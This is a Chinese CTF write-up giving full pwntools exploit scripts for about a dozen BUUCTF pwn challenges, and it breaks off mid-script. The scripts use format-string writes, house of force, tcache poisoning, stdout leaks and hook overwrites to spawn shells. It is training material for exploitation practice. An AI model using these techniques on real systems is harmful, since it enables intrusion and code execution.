BUUCTF-PWN-第五页writep(32题)

花了十天把前四页共 128 题全部再做了一遍,加上一个是因为难度增加了,写得比较慢,另一个是期末周了时间比较少,所以拖了 20 天才发这篇题解

pwnable_asm

沙盒逃逸 orw 题
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28829)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def debug():
gdb.attach(p)
pause()

p.recv()
shellcode = shellcraft.open('./flag') + shellcraft.read(3, 0x41414200, 0x40) + shellcraft.write(1, 0x41414200, 0x40)
shellcode = asm(shellcode)
p.send(shellcode)
print(p.recv())

 picoctf_2018_echooo、

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27400)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')

def debug():
gdb.attach(p)
pause()

p.recv()
p.sendline(b'%8$s')
p.recv()

 

qctf_2018_stack2

和第四页一道题一样
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 28157)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')

def debug():
gdb.attach(p)
pause()

p.sendline(b'1')
p.sendline(b'1')

addr = [0x9B,0x85,0x04,0x8]
for i in range(4):
p.sendline(b'3')
p.sendline(str(0x84+i))
p.sendline(str(addr[i]))

p.sendline(b'5')

p.interactive()

 npuctf_2020_level2

0
明显的格式化字符串,并且开启了 PIE ,而且是把数据写在 bss 上
打个断点调试下
0
可以获得很多信息,泄露 libc_base 就不说了,这里跟数据写在堆上一样,利用 rop 链修改 ret 为 one_gadget
不过修改 ret 为 one_gadget 的时候需要一些技巧,并且要用 sendlineafter 发送数据,不然 prntf 无法正常利用 %k$n 修改数据
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 28339)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

#gdb.attach(p, 'b *$rebase(0x813)')

p.sendline(b'%7$p.%9$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 231 - libc.sym['__libc_start_main']
p.recvuntil(b'0x')
stack = int(p.recv(12), 16) - 0xe0

print(' libc_base -> ', hex(libc_base))
print(' stack -> ', hex(stack))

one_gadget = libc_base + 0x4f322

payload = b'%' + str(stack & 0xffff).encode() +  b'c%9$hn'
p.sendlineafter(b'\n', payload)

payload = b'%' + str(one_gadget & 0xff).encode() + b'c%35$hhn'
p.sendlineafter(b'\x20\xb4\x0a', payload)

payload = b'%' + str((stack+1) & 0xffff).encode() +  b'c%9$hn'
p.sendlineafter(b'\n', payload)

payload = b'%' + str((one_gadget >> 8) & 0xff).encode() + b'c%35$hhn'
p.sendlineafter(b'\x20\xb4\x0a', payload)

payload = b'%' + str((stack+2) & 0xffff).encode() +  b'c%9$hn'
p.sendlineafter(b'\n', payload)

payload = b'%' + str((one_gadget >> 16) & 0xff).encode() + b'c%35$hhn'
p.sendlineafter(b'\x20\xb4\x0a', payload)

p.sendlineafter(b'\x20\xb4\x0a', b'66666666\x00')
p.interactive()

 bcloud_bctf_2016

ubuntu 16 ,没开 PIE
0
这里是第一个漏洞点,由于 v2 在 s 的下面, sub_804879 会调用 printf 利用 %s 输出,如果 s 被填满的话,那么 v2 也会被 strcpy 复制进 chunk 中,紧接着会被 printf 泄露堆地址
0
这里是第二个漏洞点,由于各个变量都是紧贴着的,所以利用 stcpy 复制 s 到 v2 指向的堆块 的时候,会把 s 以及下面的 v2 和 v3 都复制进去,所有可以利用这个漏洞修改 top_chunk_size 。
又能泄露堆块地址,又能修改 top_chunk_size ,就是 house_of_force 了
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27402)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def init(name, org, host):
p.sendlineafter(b'name:\n', name)
p.sendlineafter(b'Org:\n', org)
p.sendlineafter(b'Host:\n', host)
def add(size, content):
p.sendlineafter(b'>>\n', b'1')
p.sendlineafter(b'content:\n', str(size))
p.sendlineafter(b'content:\n', content)
def edit(index, content):
p.sendlineafter(b'>>\n', b'3')
p.sendlineafter(b'id:\n', str(index))
p.sendlineafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'>>\n', b'4')
p.sendlineafter(b'id:\n', str(index))
def syn():
p.sendlineafter(b'>>\n', b'5')
# get_top_chunk_addr  house_of_force
p.sendafter(b'name:\n', b'a'*0x3c + b'stop')
p.recvuntil(b'stop')
heap_addr = u32(p.recv(4))
top_chunk_addr = heap_addr + 0xd0
print(' heap_addr -> ', hex(heap_addr))
p.sendafter(b'Org:\n', b'a'*0x40)
p.sendafter(b'Host:\n', p32(0xffffffff) + b'a'*0x3c)

ptr = 0x804B120
offset = ptr - top_chunk_addr - 0x10
add(offset, b'')

# leak libc_base
add(0x20, p32(0) + p32(elf.got['free']) + p32(elf.got['atoi']))
edit(1, p32(elf.sym['puts']))
print(hex(elf.sym['puts']))
free(2)
libc_base = u32(p.recv(4)) - libc.sym['atoi']
print(' libc_base -> ', hex(libc_base))

# free -> system
system = libc_base + libc.sym['system']
edit(1, p32(system))

# pwn
add(0x10, b'/bin/sh\x00')
free(0)
p.interactive()
#debug()

 roarctf_2019_realloc_magic

一个比较难的一道题, ubuntu18 64 位,保护全开
菜单
0
realloc 函数比较特殊
0
realloc 函数的特点
他的基础功能是改变mem_address所指内存区域的大小为newsize长度。这里就有几种不同的情况
1.当size为0,这时就相当于free()函数,同时返回值为null
2.当指针为0,size大于0,相当于malloc函数
3.size小于等于原来的size,则在原先的基础上缩小,多余的free掉
4.size大于原来的size,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉。
free
0
ba 置 ptr 为 0
0
这里没有 show 泄露 libc ,需要用到 _IO_2_1_stdout_ 泄露 libc_base
关于 IO_FILE 的利用,可以见 链接
思路:先申请三个 chunk ,利用 realloc 的特性,一个是 size = 0 并且 ptr != 0 的时候相当于 free,并且返回空值,和再次申请比之前的 chunk 大的时候会在原基础上扩充(如果空间足够),利用这个我们可以修改 tcache bin 中 的 chunk 的 fd,利用 tcache bin 修改 _IO_2_1_stdout ,泄露 libc_base,之后同意利用这个漏洞修改 free_hook 为 system ,来 ges shell
那么第一步就是先泄露 iibc_base ,为了能够在 _IO_2_1_stdout 上申请 chunk ,需要用到 unsorted bin 的 fd ,这里先填充满 tcache bin ,再 free,接着利用 realloc 的特性修改 unsorted bin 中的 该 chunk 的 fd ,使其指向 _IO_2_1_stdout_(这里需要爆破一个十六进制位),就能在 _IO_2_1_stdout 上面申请 chunk 修改数据了
可以看到 _IO_2_1_stdout 的低三十六进制位为 0x760 ,这里我们最低要修改 fd 的低两个字节就行了,所以需要爆破
0
realloc(0x30, b'a')
realloc(0, '')
realloc(0x80, b'a')
realloc(0, '')
realloc(0x10, b'a')
realloc(0, '')

realloc(0x80, b'a')
for i in range(7):
free()
realloc(0, '')
realloc(0x30, b'a')
payload = p64(0)*7 + p64(0x91) + p8(0x60) + p8(0xc7)
realloc(0x50, payload)
可以看到成功修改,接下来就是 leak_libcbase 了
# first_attack ---> leak_libc_base
realloc(0x30, b'a')
realloc(0, '')
realloc(0x80, b'a')
realloc(0, '')
realloc(0x10, b'a')
realloc(0, '')

realloc(0x80, b'a')
for i in range(7):
free()
realloc(0, '')

realloc(0x30, b'a')
payload = p64(0)*7 + p64(0x51) + p8(0x60) + p8(0xc7)
realloc(0x50, payload)
realloc(0, '')

realloc(0x80, b'a')
realloc(0, '')
payload = p64(0xfbad1887) + p64(0)*3 + p8(0x58)
realloc(0x80, payload)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['_IO_file_jumps']
print(' libc_base -> ', hex(libc_base))
0x58 是为了指向前面,个人认为这个是不是 0x58 倒是无所谓
泄露的是
这里巧妙的是利用 0x51 把原来的 unsorted bin 中的 0x80 大小的 chunk 的 size 改小了,如果不改小的话,那么 realloc(0. '') 后,由于头插法,这个 chunk 的地址还是会被放入 tcache bin 中 0x90 的链条的头,就不能申请到 _IO_2_1_stdout_ 了
再利用这个漏洞进行第二次攻击,修改 free_hook 为 system
exp
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29769)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def realloc(size, content):
p.sendlineafter(b'>> ', '1')
p.sendlineafter(b'?\n', str(size))
p.sendafter(b'?\n', content)
def free():
p.sendlineafter(b'>> ', '2')
def ba():
p.sendlineafter(b'>> ', '666')

# first_attack ---> leak_libc_base
realloc(0x30, b'a')
realloc(0, '')
realloc(0x80, b'a')
realloc(0, '')
realloc(0x10, b'a')
realloc(0, '')

realloc(0x80, b'a')
for i in range(7):
free()
realloc(0, '')

realloc(0x30, b'a')
payload = p64(0)*7 + p64(0x51) + p8(0x60) + p8(0xe7)
realloc(0x50, payload)
realloc(0, '')

realloc(0x80, b'a')
realloc(0, '')
payload = p64(0xfbad1887) + p64(0)*3 + p8(0x58)
realloc(0x80, payload)

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['_IO_file_jumps']
print(' libc_base -> ', hex(libc_base))

# second_attack ----> free_hook -> system
ba()
realloc(0x20, b'a')
realloc(0, '')
realloc(0x90, b'a')
realloc(0, '')
realloc(0x10, b'a')
realloc(0, '')

realloc(0x90, b'a')
for i in range(7):
free()
realloc(0, '')

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

realloc(0x20, b'a')
payload = p64(0)*5 + p64(0x51) + p64(free_hook - 0x8)
realloc(0x40, payload)
realloc(0, '')

realloc(0x90, b'a')
realloc(0, '')
realloc(0x90, b'/bin/sh\x00' + p64(system))

#pwn
free()
p.interactive()

#debug()
感觉自己越来越强了

ciscn_2019_s_6

比较简单的堆题,UAF
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26549)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size, name, call):
p.sendlineafter(b'choice:', '1')
p.sendlineafter(b'name\n', str(size))
p.sendafter(b'name:\n', name)
p.sendafter(b'call:\n', call)
def show(index):
p.sendlineafter(b'choice:', '2')
p.sendlineafter(b'index:\n', str(index))
def free(index):
p.sendlineafter(b'choice:', '3')
p.sendlineafter(b'index:\n', str(index))

# leak libc_base
add(0x410, b'a', b'b') #index 0
add(0x10, b'a', b'a') #index 1
add(0x10, b'/bin/sh\x00', b'a') #index 2
free(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))

# dup ----> free_hook -> system
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(1)
free(1)
add(0x18, p64(free_hook), b'a')
add(0x18, p64(system), b'a')

# pwn
free(2)
p.interactive()

 sctf_2019_easy_heap

ubuntu 18 保护全开的堆题
有 add free edit 功能,漏洞点存在于 edit
0
存在 off by null 漏洞
这道题学习的地方是怎么 unlink
先申请四个 chunk
add(0x420) #index 0 
add(0x68) #index 1 
add(0x4f0) #index 2 
add(0x20) #index 3
我们先 free(0) ,利用 off by null 将 chunk2 的 prve size 修改为 0x4a0 并且将 size 的最低为置零
这时候再去 free(1) 和 free(2) 就会向上合并,成为一个大的 chunk
接着再申请和 chunk0 大小相同的 chunk ,即 0x420 ,就能利用 unsorted bin 的特性将 main_arena_xx 写入原本 chunk1 的 user data 开头,也就是 free 后 chunk1 的 fd ,即 tcache bin 中的 chunk1 的 fd 被修改成了 main_arena_xx
然后再 free 和 chunk0 相同大小的 chunk,接着申请比刚刚的 chunk0 大 0x20 的 chunk,即 0x440 大小,这样我们就能修改 tcache bin 中的 chunk1 的 fd 了,我们修改低二字节,令其指向 _IO_2_1_stdout_,接着就是 leak_libc
free(0) 
edit(1, p64(0)*12 + p64(0x4a0)) free(1) free(2) add(0x420) #index 0 
free(0) 
add(0x440) #index 0 
edit(0, p64(0)*0x85 + p64(0x71) + p8(0x60) + p8(0xc7))
然后再次利用这个漏洞修改 free_hook -> system 来 get shell
exp
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 26525)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Size: ', str(size))
def free(index):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b': ', str(index))
def edit(index, content):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b': ', str(index))
p.sendlineafter(b': ', content)
p.recvuntil(b'0x')
buf = int(p.recv(10), 16)
print(' buf -> ', hex(buf))

# first_attack leak_libc_base
add(0x420) #index 0
add(0x68) #index 1
add(0x4f0) #index 2
add(0x20) #index 3
free(0)
edit(1, p64(0)*12 + p64(0x4a0))
free(1)
free(2)
add(0x420) #index 0
free(0)
add(0x440) #index 0
edit(0, p64(0)*0x85 + p64(0x71) + p8(0x60) + p8(0xc7))

add(0x60) #index 1
add(0x60) #index 2
edit(2, p64(0xfbad1800) + p64(0)*3 + b'\x58')
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['_IO_file_jumps']
print(' libc_base -> ', hex(libc_base))

# second_attack  free_hook -> system
add(0x540) #index 4
add(0x410) #index 5
add(0x28) #index 6
add(0x4f0) #index 7
add(0x20) #index 8
free(5)
edit(6, p64(0)*4 + p64(0x450))
free(6)
free(7)
add(0x410) #index 5
free(5)
add(0x430) #index 5

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(5, b'\x00'*0x410 + p64(0) + p64(0x71) + p64(free_hook))
add(0x20) #index 6
add(0x20) #index 7
edit(7, p64(system))

# pwn
add(0x10) #index 8
edit(8, b'/bin/sh\x00')
free(8)
p.interactive()

#debug()
 
另外的解法:这里开辟了一处可以执行 shellcode 的空间,并且泄露了地址。
同样利用上面的漏洞,先在这段开辟的空间写入 shellcode ,又再一次利用漏洞执行 shellcode
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 26525)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Size: ', str(size))
def free(index):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b': ', str(index))
def edit(index, content):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b': ', str(index))
p.sendlineafter(b': ', content)
p.recvuntil(b'0x')
buf = int(p.recv(10), 16)
print(' buf -> ', hex(buf))

# first_attack shellcode -> buf
add(0x420) #index 0
add(0x68) #index 1
add(0x4f0) #index 2
add(0x20) #index 3
free(0)
edit(1, p64(0)*12 + p64(0x4a0))
free(1)
free(2)
add(0x420) #index 0
free(0)
add(0x440) #index 0
edit(0, p64(0)*0x85 + p64(0x71) + p64(buf))

add(0x60) #index 1
add(0x60) #index 2
edit(2, asm(shellcraft.sh()))

# second_attack  malloc_hook -> buf
add(0x540) #index 4
add(0x410) #index 5
add(0x28) #index 6
add(0x4f0) #index 7
add(0x20) #index 8
free(5)
edit(6, p64(0)*4 + p64(0x450))
free(6)
free(7)
add(0x410) #index 5
free(5)
add(0x430) #index 5

edit(5, b'\x00'*0x410 + p64(0) + p64(0x71) + p8(0x30))
add(0x20) #index 6
add(0x20) #index 7
edit(7, p64(buf))

# pwn
add(0x10)
p.interactive()
唯一注意的就是不泄露 libc ,只修改低一位 0x30 指向 malloc_hook

SWPUCTF_2019_login

输入数据在 bss 上的格式化字符串
先泄露 libc_base ,然后利用 rop 链
这里发现 ret + 8 的地方恰好是我们程序开始输入姓名的地址,我们输入 /bin,接下来直接修改 ret 为 system 地址
0
刚开始是想写 ret -> one_gadget ,但是 one_gadget 都是失效的
然后唯一不好的就是 buu 的 libc 和 glibc 的 libc 还是有区别的,glibc 的 libc 的 system 的后三位是 0x000 ,但是 %0c 也会输出一个字节,所以我这里是单字节写入了 0x100。也因此调式了好一会才打通远程
看其他的 wp 发现也有将 print -> system 的

 

from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27976)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()

p.sendlineafter(b'name: \n', b'/bin/sh\x00')

# leak_libc_base
payload = b'%15$p'
p.sendlineafter(b'\n', payload)
p.recvuntil(b'0x')
libc_base = int(p.recv(8), 16) - libc.sym['__libc_start_main'] - 241
print(' libc_base -> ', hex(libc_base))

# leak_ret
payload = b'%6$p'
p.sendlineafter(b'Try again!\n', payload)
p.recvuntil(b'0x')
ret = int(p.recv(8), 16) - 0xc
print(' ret -> ', hex(ret))

# ret -> system
system = libc_base + libc.sym['system']
print(' system -> ', hex(system))
low_8 = system & 0xff
low_16 = (system >> 8) & 0xff
low_24 = (system >> 16) & 0xff
low_32 = (system >> 24) & 0xff
low = [low_8, low_16, low_24, low_32]

for i in range(len(low)):
ret_low_8 = ret & 0xff
payload = b'%' + str(ret_low_8 + i).encode() + b'c%6$hhn'
p.sendlineafter(b'Try again!\n', payload)
p.sendlineafter(b'Try again!\n', b'stopstop')
p.recvuntil(b'stopstop')
payload = b'%' + str(low[i]).encode() + b'c%10$hhn'
p.sendlineafter(b'Try again!\n', payload)

p.sendafter(b'Try again!\n', b'wllmmllw\x00')
p.interactive()

SWPUCTF_2019_p1KkHeap

保护全开的 ubuntu 18 的 UAF 堆题,四个功能都有,但是只能执行 18 次选项,并且只能 free 三次,并且限制了只能申请不大于 0x100 的堆块
这里利用 dup 泄露 堆块地址 和 修改 tcache struct 来泄露 libc_libcbase
然后由于开了沙盒限制,并且有一段可执行的内存空间,接下来就是把 orw_shellcode 写入,然后修改 malloc_hook 为内存空间的地址去执行 orw 泄露 flag
保护全开的 ubuntu 18 的 UAF 堆题,四个功能都有,但是只能执行 18 次选项,并且只能 free 三次,并且限制了只能申请不大于 0x100 的堆块
这里利用 dup 泄露 堆块地址 和 修改 tcache struct 来泄露 libc_libcbase
然后由于开了沙盒限制,并且有一段可执行的内存空间,接下来就是把 orw_shellcode 写入,然后修改 malloc_hook 为内存空间的地址去执行 orw 泄露 flag
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29129)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
#libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'Your Choice:', '1')
p.sendlineafter(b'size: ', str(size))
def show(index):
p.sendlineafter(b'Your Choice:', '2')
p.sendlineafter(b'id: ', str(index))
def edit(index, content):
p.sendlineafter(b'Your Choice:', '3')
p.sendlineafter(b'id: ', str(index))
p.sendafter(b'content: ', content)
def free(index):
p.sendlineafter(b'Your Choice:', '4')
p.sendlineafter(b'id: ', str(index))
# leak libc_base
add(0x100) #index 0
add(0x10) #index 1
free(0)
free(0)
show(0)
p.recvuntil(b'content: ')
tcache_struct_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x260
print(' tcache_struct_addr -> ', hex(tcache_struct_addr))

add(0x100) #index 2
edit(2, p64(tcache_struct_addr + 0x10))
add(0x100) #index 3
add(0x100) #index 4
buf = 0x66660000
edit(4, b'\x07'*0x40 + p64(0)*4 + p64(buf))
free(3)
show(3)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))

# orw_shellcode -> buf
add(0x50) #index 5
shellcode = asm(shellcraft.open('./flag') + shellcraft.read(3, buf + 0x100, 0x40) + shellcraft.write(1, buf + 0x100, 0x40))
edit(5, shellcode)

# malloc_hook -> buf
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(4, b'\x00\x01' + b'\x00'*(0x40-2) + p64(0) + p64(malloc_hook))
add(0x20) #index 6
edit(6, p64(buf))

#get_flag
add(0x20)
print(p.recv())

 de1ctf_2019_weapon

之前以为 UAF 的题都比较简单,而且还是 ubuntu 16,结果做了三四个小时,调试还要去读 1/16 的概率,真的痛苦
一个是没有 show 方便泄露数据,另一个是不能申请超过 0x60 大小的 堆块。所以这道题泄露 libc_base 是重点。
这里要利用 dup 任意写先修改一个堆块的 size ,然后 free 进入 unsorted bin 来泄露 libc_base ,之后也是利用 dup 任意写修改 malloc_hook 为 one_gadget 。当然,其中也有一些细节要注意,比如怎么把 main_arena 放到 fast bin 中的 chunk 的 fd 中,以及如何绕过 malloc 和 free 的源码审查,就简单地写在代码注释里了
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
#p = remote('node4.buuoj.cn', 27632)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size, index, content):
p.sendlineafter(b'>> \n', '1')
p.sendlineafter(b': ', str(size))
p.sendlineafter(b': ', str(index))
p.sendafter(b':\n', content)
def free(index):
p.sendlineafter(b'>> \n', '2')
p.sendlineafter(b':', str(index))
def edit(index, content):
p.sendlineafter(b'>> \n', '3')
p.sendlineafter(b':', str(index))
p.sendafter(b':\n', content)
def pwn():
add(0x50, 0, b'a')
add(0x50, 1, b'a')
add(0x60, 2, b'a')
add(0x50, 3, b'a')
add(0x10, 4, b'a')
edit(0, b'a'*0x40 + p64(0) + p64(0x61))
free(0)
free(1)
free(0)
edit(0, p8(0x50)) # 修改 fd 指向,方便修改 size

add(0x50, 5, b'a')
add(0x50, 6, p64(0) + p64(0x131)) # 修改 size
free(2) # 先 free ,利用 unsorted bin 的特性将 main_arena_xx 放入 fd 中
free(1)
add(0x50, 7, b'a') # main_arena_xx 放入 fd 中
add(0x50, 8, p8(0xdd) + p8(0xd5)) # 修改 main_arena_xx 到 _IO_2_1_stdout_

edit(1, b'a'*0x40 + p64(0) + p64(0x61)) #接下来这部分是修改 size ,不然申请不了 
free(0)                                 #因为堆块的大小之前被 unsorted bin 的特性改变了
free(1)
free(0)
edit(0, p8(0xb0))
add(0x50, 9, b'a')
add(0x50, 10, p64(0) + p64(0x71))

# _IO_2_1_stout_ -> leak_libc_base
add(0x60, 11, b'a')
payload = b'a'*0x33 + p64(0xfbad1887) + p64(0)*3 + p8(0xa0) + p8(0xd2)
add(0x60, 12, payload)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1896 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))
sleep(1)

# secode_attack malloc_hook -> one_gadget
fake_chunk = libc_base + libc.sym['__malloc_hook'] - 0x23
one_gadget = libc_base + 0xf1147
add(0x60, 13, b'a') 
free(13)
edit(13, p64(fake_chunk))
add(0x60, 14, b'a')
add(0x60, 15, b'a'*0x13 + p64(one_gadget))

# pwn
p.sendlineafter(b'>> \n', '1')
p.sendlineafter(b': ', str(0x10))
p.sendlineafter(b': ', str(16))
p.interactive()

while(1):
try:
p = remote('node4.buuoj.cn', 27632)
pwn()
except:
p.close()

 ciscn_2019_n_7

一道新知识点的题,保护全开,而且由于限制,虽然有明显的任意写漏洞,但是以往把 one_gadget 写入 malloc_hook 或者 free_hook 的方法不行了,这里了解到需要写入 exit_hook
 
exi_hook 的地址
#在libc-2.23中
exit_hook = libc_base + 0x5f0040 + 3848

exit_hook = libc_base + 0x5f0040 + 3856

#在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848
漏洞怎么利用就不详解了,比较容易。
 
from pwn import *
from struct import pack
context(os = 'linux', arch = 'amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27632)
elf = ELF('./pwn')
#libc = ELF('buu/libc-2.23.so')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('buu/libc-2.27.so')
#libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so')
#libc = ELF('glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size, name):
p.sendlineafter(b'-> \n', '1')
p.sendlineafter(b': \n', str(size))
p.sendafter(b':\n', name)
def edit(name, content):
